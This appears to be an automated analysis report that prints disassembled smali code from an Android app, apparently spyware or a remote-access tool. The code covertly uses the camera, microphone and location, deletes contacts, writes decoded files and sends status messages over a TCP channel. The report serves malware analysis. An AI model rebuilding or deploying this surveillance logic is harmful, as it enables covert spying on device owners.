29invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)Ljava/lang/String;
30const/4 v0, 0x0
32invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->publishProgress([Ljava/lang/Object;)V
  • Data flow analysis:
    • p0: 0
34sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
36iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
38invoke-static {v1}, Lsys/arshad/sys/MainActivity;->j(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
39move-result-object v1
41invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
43sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
45const-string v1, "message = NULL"
47invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: message = NULL
48try_end_3e: goto/16 :goto_0
49catch_3f: move-exception v0
51sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
53const-string v1, "Read failed---0"
55invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Read failed---0
56goto/16 :goto_0
57cond_48:
58sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
60const-string v1, "not ready"
62invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: not ready
63try_end_4f: goto/16 :goto_0
APIs
  • java.lang.String.toString
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.w
  • sys.arshad.sys.MainActivity.x
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.split
  • sys.arshad.sys.MainActivity.d
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.replace
  • sys.arshad.sys.MainActivity.e
Strings
  • .
  • \\.
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$35;->a:Ljava/lang/String;
3invoke-virtual {v0}, Ljava/lang/String;->toString()Ljava/lang/String;
4move-result-object v0
6const-string v1, "."
8invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: .
9move-result v1
10const/4 v2, -0x1
11if-ne v1, v2, :cond_25
12goto_f:
13iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$35;->b:Lsys/arshad/sys/MainActivity$b;
15iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$35;->b:Lsys/arshad/sys/MainActivity$b;
17iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
19invoke-static {v1}, Lsys/arshad/sys/MainActivity;->w(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
20move-result-object v1
22iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$35;->b:Lsys/arshad/sys/MainActivity$b;
24iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
26invoke-static {v2}, Lsys/arshad/sys/MainActivity;->x(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
27move-result-object v2
29invoke-static {v0, v1, v2}, Lsys/arshad/sys/MainActivity$b;->a(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;)V
30goto_24: return-void
31cond_25:
32const-string v1, "\\."
34invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: \\.
35move-result-object v1
36array-length v2, v1
37add-int/lit8 v2, v2, -0x1
38aget-object v1, v1, v2
40iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$35;->b:Lsys/arshad/sys/MainActivity$b;
42iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
44invoke-static {v2, v1}, Lsys/arshad/sys/MainActivity;->d(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)Ljava/lang/String;
45new-instance v2, Ljava/lang/StringBuilder;
47invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
49const-string v3, "."
51invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: .
52move-result-object v2
54invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
55move-result-object v1
57invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
58move-result-object v1
60const-string v2, ""
62invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
63move-result-object v0
65iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$35;->b:Lsys/arshad/sys/MainActivity$b;
67iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
69invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)Ljava/lang/String;
70try_end_57: goto/16 :goto_f
71catch_58: move-exception v0
72goto/16 :goto_24
APIs
  • sys.arshad.sys.MainActivity.o
  • sys.arshad.sys.MainActivity.p
  • android.hardware.Camera.getParameters
  • android.hardware.Camera$Parameters.setFlashMode
  • sys.arshad.sys.MainActivity.p
  • android.hardware.Camera.setParameters
  • sys.arshad.sys.MainActivity.p
  • android.hardware.Camera.stopPreview
  • sys.arshad.sys.MainActivity.b
  • sys.arshad.sys.MainActivity.p
  • android.hardware.Camera.release
Strings
  • off
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$9;->a:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5invoke-static {v0}, Lsys/arshad/sys/MainActivity;->o(Lsys/arshad/sys/MainActivity;)Z
6move-result v0
7const/4 v1, 0x1
8if-ne v0, v1, :cond_4f
10iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$9;->a:Lsys/arshad/sys/MainActivity$b;
12iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
14invoke-static {v0}, Lsys/arshad/sys/MainActivity;->p(Lsys/arshad/sys/MainActivity;)Landroid/hardware/Camera;
15move-result-object v0
17invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
18move-result-object v0
20const-string v1, "off"
22invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: off
24iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$9;->a:Lsys/arshad/sys/MainActivity$b;
26iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
28invoke-static {v1}, Lsys/arshad/sys/MainActivity;->p(Lsys/arshad/sys/MainActivity;)Landroid/hardware/Camera;
29move-result-object v1
31invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
33iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$9;->a:Lsys/arshad/sys/MainActivity$b;
35iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
37invoke-static {v0}, Lsys/arshad/sys/MainActivity;->p(Lsys/arshad/sys/MainActivity;)Landroid/hardware/Camera;
38move-result-object v0
40invoke-virtual {v0}, Landroid/hardware/Camera;->stopPreview()V
42iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$9;->a:Lsys/arshad/sys/MainActivity$b;
44iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
45const/4 v1, 0x0
47invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->b(Lsys/arshad/sys/MainActivity;Z)Z
  • Data flow analysis:
    • p1: 0
49iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$9;->a:Lsys/arshad/sys/MainActivity$b;
51iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
53invoke-static {v0}, Lsys/arshad/sys/MainActivity;->p(Lsys/arshad/sys/MainActivity;)Landroid/hardware/Camera;
54move-result-object v0
55if-eqz v0, :cond_4f
57iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$9;->a:Lsys/arshad/sys/MainActivity$b;
59iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
61invoke-static {v0}, Lsys/arshad/sys/MainActivity;->p(Lsys/arshad/sys/MainActivity;)Landroid/hardware/Camera;
62move-result-object v0
64invoke-virtual {v0}, Landroid/hardware/Camera;->release()V
65try_end_4f: return-void
66catch_50: move-exception v0
67goto/16 :goto_4f
Cross References
APIs
  • android.content.IntentFilter.<init>
  • sys.arshad.sys.MainActivity.registerReceiver
  • android.content.Intent.getIntExtra
  • java.lang.StringBuilder.<init>
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • android.intent.action.BATTERY_CHANGED
  • level
  • scale
  • %
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2const/4 v1, 0x0
3new-instance v2, Landroid/content/IntentFilter;
5const-string v3, "android.intent.action.BATTERY_CHANGED"
7invoke-direct {v2, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.BATTERY_CHANGED
9invoke-virtual {v0, v1, v2}, Lsys/arshad/sys/MainActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 0
10move-result-object v0
12const-string v1, "level"
13const/4 v2, 0x0
15invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
  • Data flow analysis:
    • name: level
    • defaultValue: 0
16move-result v1
18const-string v2, "scale"
19const/16 v3, 0x64
21invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
  • Data flow analysis:
    • name: scale
    • defaultValue: 100
22move-result v0
23mul-int/lit8 v1, v1, 0x64
24div-int v0, v1, v0
25new-instance v1, Ljava/lang/StringBuilder;
27invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
29invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
30move-result-object v0
32invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33move-result-object v0
35const-string v1, "%"
37invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: %
38move-result-object v0
40invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
41move-result-object v0
42return-object v0
APIs
  • android.app.Service.onCreate
  • java.lang.String.replace
  • java.lang.Integer.parseInt
  • sys.arshad.sys.PhotoTakingService.getBaseContext
  • sys.arshad.sys.PhotoTakingService.a
  • android.content.Intent.<init>
  • sys.arshad.sys.PhotoTakingService.stopService
Strings
  • %
Position Instruction Meta Information
0try_start_0:
1invoke-super {p0}, Landroid/app/Service;->onCreate()V
3sget-object v0, Lsys/arshad/sys/MainActivity;->w:Ljava/lang/String;
5const-string v1, "%"
7const-string v2, ""
9invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: %
10move-result-object v0
12invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
13move-result v0
14iput v0, p0, Lsys/arshad/sys/PhotoTakingService;->c:I
16sget-object v0, Lsys/arshad/sys/MainActivity;->v:Ljava/lang/String;
18invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
19move-result v0
20iput v0, p0, Lsys/arshad/sys/PhotoTakingService;->b:I
22sget-object v0, Lsys/arshad/sys/MainActivity;->x:Ljava/lang/String;
24invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
25move-result v0
26iput v0, p0, Lsys/arshad/sys/PhotoTakingService;->d:I
28invoke-virtual {p0}, Lsys/arshad/sys/PhotoTakingService;->getBaseContext()Landroid/content/Context;
29move-result-object v0
31invoke-direct {p0, v0}, Lsys/arshad/sys/PhotoTakingService;->a(Landroid/content/Context;)V
32goto_2a: return-void
33catch_2b: move-exception v0
34new-instance v0, Landroid/content/Intent;
35const-class v1, Lsys/arshad/sys/PhotoTakingService;
37invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
39invoke-virtual {p0, v0}, Lsys/arshad/sys/PhotoTakingService;->stopService(Landroid/content/Intent;)Z
40goto/16 :goto_2a
Cross References
APIs
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintWriter.write
  • java.io.PrintWriter.flush
  • java.io.PrintStream.println
Strings
  • \n
  • EERORSEND
Position Instruction Meta Information
0try_start_0:
1const-string v0, "\n"
3const-string v1, ""
5invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
6move-result-object v0
8iget-object v1, p0, Lsys/arshad/sys/MainActivity;->S:Ljava/io/PrintWriter;
9new-instance v2, Ljava/lang/StringBuilder;
11invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
13invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v0
16const-string v2, "\n"
18invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \n
19move-result-object v0
21invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
22move-result-object v0
24invoke-virtual {v1, v0}, Ljava/io/PrintWriter;->write(Ljava/lang/String;)V
26iget-object v0, p0, Lsys/arshad/sys/MainActivity;->S:Ljava/io/PrintWriter;
28invoke-virtual {v0}, Ljava/io/PrintWriter;->flush()V
29goto_25: return-void
30catch_26: move-exception v0
32sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
34const-string v1, "EERORSEND"
36invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EERORSEND
37goto/16 :goto_25
Cross References
APIs
  • sys.arshad.sys.MainActivity.y
  • sys.arshad.sys.MainActivity.A
  • sys.arshad.sys.MainActivity.y
  • sys.arshad.sys.MainActivity.getSystemService
  • android.media.MediaRecorder.stop
  • android.media.MediaRecorder.release
Strings
  • L
  • S
  • audio
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->y()Z
2move-result v0
3const/4 v1, 0x1
4if-ne v0, v1, :cond_15
6iget-object v0, p0, Lsys/arshad/sys/MainActivity;->u:Ljava/lang/String;
8const-string v1, "L"
9if-ne v0, v1, :cond_14
11const-string v0, "S"
12iput-object v0, p0, Lsys/arshad/sys/MainActivity;->u:Ljava/lang/String;
13try_start_11:
14invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->A()V
15cond_14: return-void
16cond_15:
17invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->y()Z
18move-result v0
19if-nez v0, :cond_14
21const-string v0, "audio"
23invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
24move-result-object v0
25check-cast v0, Landroid/media/AudioManager;
26iput-object v0, p0, Lsys/arshad/sys/MainActivity;->Z:Landroid/media/AudioManager;
28iget-object v0, p0, Lsys/arshad/sys/MainActivity;->u:Ljava/lang/String;
30const-string v1, "S"
31if-ne v0, v1, :cond_14
33const-string v0, "L"
34iput-object v0, p0, Lsys/arshad/sys/MainActivity;->u:Ljava/lang/String;
35try_start_2f:
36iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
38invoke-virtual {v0}, Landroid/media/MediaRecorder;->stop()V
40iget-object v0, p0, Lsys/arshad/sys/MainActivity;->V:Landroid/media/MediaRecorder;
42invoke-virtual {v0}, Landroid/media/MediaRecorder;->release()V
43try_end_39: goto/16 :goto_14
44catch_3a: move-exception v0
45goto/16 :goto_14
46catch_3c: move-exception v0
47goto/16 :goto_14
APIs
  • sys.arshad.sys.MainActivity.getContentResolver
  • java.util.ArrayList.<init>
  • android.content.ContentProviderOperation.newDelete
  • android.content.ContentProviderOperation$Builder.withSelection
  • android.content.ContentProviderOperation$Builder.build
  • java.util.ArrayList.add
  • android.content.ContentResolver.applyBatch
Strings
  • display_name = ?
  • com.android.contacts
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$25;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
6move-result-object v0
8const-string v1, "display_name = ? "
9const/4 v2, 0x1
10new-array v2, v2, [Ljava/lang/String;
11const/4 v3, 0x0
13iget-object v4, p0, Lsys/arshad/sys/MainActivity$b$25;->a:Ljava/lang/String;
14aput-object v4, v2, v3
15new-instance v3, Ljava/util/ArrayList;
17invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
19sget-object v4, Landroid/provider/ContactsContract$RawContacts;->CONTENT_URI:Landroid/net/Uri;
21invoke-static {v4}, Landroid/content/ContentProviderOperation;->newDelete(Landroid/net/Uri;)Landroid/content/ContentProviderOperation$Builder;
22move-result-object v4
24invoke-virtual {v4, v1, v2}, Landroid/content/ContentProviderOperation$Builder;->withSelection(Ljava/lang/String;[Ljava/lang/String;)Landroid/content/ContentProviderOperation$Builder;
  • Data flow analysis:
    • p0: display_name = ?
25move-result-object v1
27invoke-virtual {v1}, Landroid/content/ContentProviderOperation$Builder;->build()Landroid/content/ContentProviderOperation;
28move-result-object v1
30invoke-virtual {v3, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
31try_start_28:
32const-string v1, "com.android.contacts"
34invoke-virtual {v0, v1, v3}, Landroid/content/ContentResolver;->applyBatch(Ljava/lang/String;Ljava/util/ArrayList;)[Landroid/content/ContentProviderResult;
  • Data flow analysis:
    • authority: com.android.contacts
35try_end_2d: return-void
36catch_2e: move-exception v0
37goto/16 :goto_2d
38catch_30: move-exception v0
39goto/16 :goto_2d
40catch_32: move-exception v0
41goto/16 :goto_2d
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • B22:::
  • [(0)tcp]
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/lang/StringBuilder;
2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
4const-string v1, "B22:::"
6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B22:::
7move-result-object v0
9sget-object v1, Lsys/arshad/sys/MainActivity;->D:Ljava/lang/String;
11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
12move-result-object v0
14const-string v1, "[(0)tcp]"
16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
17move-result-object v0
19iget-object v1, p0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
22move-result-object v0
24invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
25move-result-object v0
27invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
28const/4 v0, 0x0
29sput-object v0, Lsys/arshad/sys/MainActivity;->D:Ljava/lang/String;
30goto_27: return-void
31catch_28: move-exception v0
32goto/16 :goto_27
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileOutputStream.<init>
  • android.util.Base64.decode
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.flush
  • java.io.FileOutputStream.close
  • java.io.IOException.printStackTrace
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/io/FileOutputStream;
1new-instance v1, Ljava/lang/StringBuilder;
3invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
5iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$3;->a:Ljava/lang/String;
7invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
8move-result-object v1
10iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$3;->b:Ljava/lang/String;
12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v1
15invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
16move-result-object v1
18invoke-direct {v0, v1}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
20iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$3;->c:Ljava/lang/String;
21const/4 v2, 0x2
23invoke-static {v1, v2}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
  • Data flow analysis:
    • flags: 2
24move-result-object v1
26invoke-virtual {v0, v1}, Ljava/io/FileOutputStream;->write([B)V
28invoke-virtual {v0}, Ljava/io/FileOutputStream;->flush()V
30invoke-virtual {v0}, Ljava/io/FileOutputStream;->close()V
31goto_2a: return-void
32catch_2b: move-exception v0
34invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
35goto/16 :goto_2a
APIs
  • android.app.Activity.<init>
  • sys.arshad.sys.MainActivity$2.<init>
Strings
  • Stop
  • Tel.txt
  • odNotice.txt
  • scream
  • 050
  • L
Position Instruction Meta Information
0const/4 v3, 0x2
1const-wide/16 v4, 0x0
2const/4 v2, 0x0
3const/4 v1, 0x0
5invoke-direct {p0}, Landroid/app/Activity;-><init>()V
6const v0, 0xac44
7iput v0, p0, Lsys/arshad/sys/MainActivity;->F:I
8iput v3, p0, Lsys/arshad/sys/MainActivity;->G:I
9iput v3, p0, Lsys/arshad/sys/MainActivity;->H:I
10const/4 v0, 0x1
11iput-boolean v0, p0, Lsys/arshad/sys/MainActivity;->I:Z
12iput-object v1, p0, Lsys/arshad/sys/MainActivity;->k:Ljava/io/File;
13iput v2, p0, Lsys/arshad/sys/MainActivity;->r:I
15const-string v0, "Stop"
16iput-object v0, p0, Lsys/arshad/sys/MainActivity;->L:Ljava/lang/String;
18const-string v0, "Tel.txt"
19iput-object v0, p0, Lsys/arshad/sys/MainActivity;->s:Ljava/lang/String;
21const-string v0, "odNotice.txt"
22iput-object v0, p0, Lsys/arshad/sys/MainActivity;->t:Ljava/lang/String;
24const-string v0, "scream"
25iput-object v0, p0, Lsys/arshad/sys/MainActivity;->M:Ljava/lang/String;
27const-string v0, "050"
28iput-object v0, p0, Lsys/arshad/sys/MainActivity;->N:Ljava/lang/String;
30const-string v0, "L"
31iput-object v0, p0, Lsys/arshad/sys/MainActivity;->u:Ljava/lang/String;
32iput-boolean v2, p0, Lsys/arshad/sys/MainActivity;->O:Z
33iput-object v1, p0, Lsys/arshad/sys/MainActivity;->P:Ljava/lang/String;
34iput-object v1, p0, Lsys/arshad/sys/MainActivity;->Q:Ljava/lang/String;
35iput-boolean v2, p0, Lsys/arshad/sys/MainActivity;->Y:Z
36iput-wide v4, p0, Lsys/arshad/sys/MainActivity;->y:D
37iput-wide v4, p0, Lsys/arshad/sys/MainActivity;->z:D
38new-instance v0, Lsys/arshad/sys/MainActivity$2;
40invoke-direct {v0, p0}, Lsys/arshad/sys/MainActivity$2;-><init>(Lsys/arshad/sys/MainActivity;)V
41iput-object v0, p0, Lsys/arshad/sys/MainActivity;->ab:Landroid/content/BroadcastReceiver;
42iput-object v1, p0, Lsys/arshad/sys/MainActivity;->E:Ljava/lang/String;
43return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • android.support.v4.a.a.a
  • android.location.LocationManager.requestLocationUpdates
Strings
  • location
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.ACCESS_COARSE_LOCATION
  • network
Position Instruction Meta Information
0const-wide/16 v6, 0x0
1try_start_2:
2const-string v0, "location"
4invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: location
5move-result-object v0
6check-cast v0, Landroid/location/LocationManager;
7iput-object v0, p0, Lsys/arshad/sys/MainActivity;->B:Landroid/location/LocationManager;
8new-instance v0, Lsys/arshad/sys/MainActivity$18;
10invoke-direct {v0, p0}, Lsys/arshad/sys/MainActivity$18;-><init>(Lsys/arshad/sys/MainActivity;)V
11iput-object v0, p0, Lsys/arshad/sys/MainActivity;->A:Landroid/location/LocationListener;
13const-string v0, "android.permission.ACCESS_FINE_LOCATION"
15invoke-static {p0, v0}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.ACCESS_FINE_LOCATION
16move-result v0
17if-eqz v0, :cond_24
19const-string v0, "android.permission.ACCESS_COARSE_LOCATION"
21invoke-static {p0, v0}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.ACCESS_COARSE_LOCATION
22move-result v0
23if-eqz v0, :cond_24
24goto_23: return-void
25cond_24:
26iget-object v0, p0, Lsys/arshad/sys/MainActivity;->B:Landroid/location/LocationManager;
28const-string v1, "network"
29const-wide/16 v2, 0x0
30const/4 v4, 0x0
32iget-object v5, p0, Lsys/arshad/sys/MainActivity;->A:Landroid/location/LocationListener;
34invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
  • Data flow analysis:
    • p0: network
    • p1: 0
    • p3: 0
35try_end_30: goto/16 :goto_23
36catch_31: move-exception v0
37iput-wide v6, p0, Lsys/arshad/sys/MainActivity;->z:D
38iput-wide v6, p0, Lsys/arshad/sys/MainActivity;->y:D
39goto/16 :goto_23
Cross References
APIs
  • sys.arshad.sys.MainActivity.openFileInput
  • java.io.FileInputStream.available
  • java.io.FileInputStream.read
  • java.lang.String.<init>
  • java.io.FileInputStream.close
Strings
  • yx.txt
  • nice
Position Instruction Meta Information
0try_start_0:
1const-string v0, "yx.txt"
3invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->openFileInput(Ljava/lang/String;)Ljava/io/FileInputStream;
  • Data flow analysis:
    • p0: yx.txt
4move-result-object v0
6invoke-virtual {v0}, Ljava/io/FileInputStream;->available()I
7move-result v1
8new-array v1, v1, [B
10invoke-virtual {v0, v1}, Ljava/io/FileInputStream;->read([B)I
11new-instance v2, Ljava/lang/String;
13invoke-direct {v2, v1}, Ljava/lang/String;-><init>([B)V
15invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
17const-string v0, "nice"
18try_end_19: return-object v0
19catch_1a: move-exception v0
20goto_1b: const/4 v0, 0x0
21goto/16 :goto_19
22catch_1d: move-exception v0
23goto/16 :goto_1b
Cross References
APIs
  • sys.arshad.sys.MainActivity.openFileInput
  • java.io.FileInputStream.available
  • java.io.FileInputStream.read
  • java.lang.String.<init>
  • java.io.FileInputStream.close
Strings
  • Tel.txt
Position Instruction Meta Information
0try_start_0:
1const-string v0, "Tel.txt"
3invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->openFileInput(Ljava/lang/String;)Ljava/io/FileInputStream;
  • Data flow analysis:
    • p0: Tel.txt
4move-result-object v0
6invoke-virtual {v0}, Ljava/io/FileInputStream;->available()I
7move-result v1
8new-array v1, v1, [B
10invoke-virtual {v0, v1}, Ljava/io/FileInputStream;->read([B)I
11new-instance v2, Ljava/lang/String;
13invoke-direct {v2, v1}, Ljava/lang/String;-><init>([B)V
14iput-object v2, p0, Lsys/arshad/sys/MainActivity;->L:Ljava/lang/String;
16invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
17try_end_19:
18iget-object v0, p0, Lsys/arshad/sys/MainActivity;->L:Ljava/lang/String;
19return-object v0
20catch_1c: move-exception v0
21goto/16 :goto_19
22catch_1e: move-exception v0
23goto/16 :goto_19
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • B4:::-1[(0)tcp]
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6const-string v2, "B4:::-1[(0)tcp]"
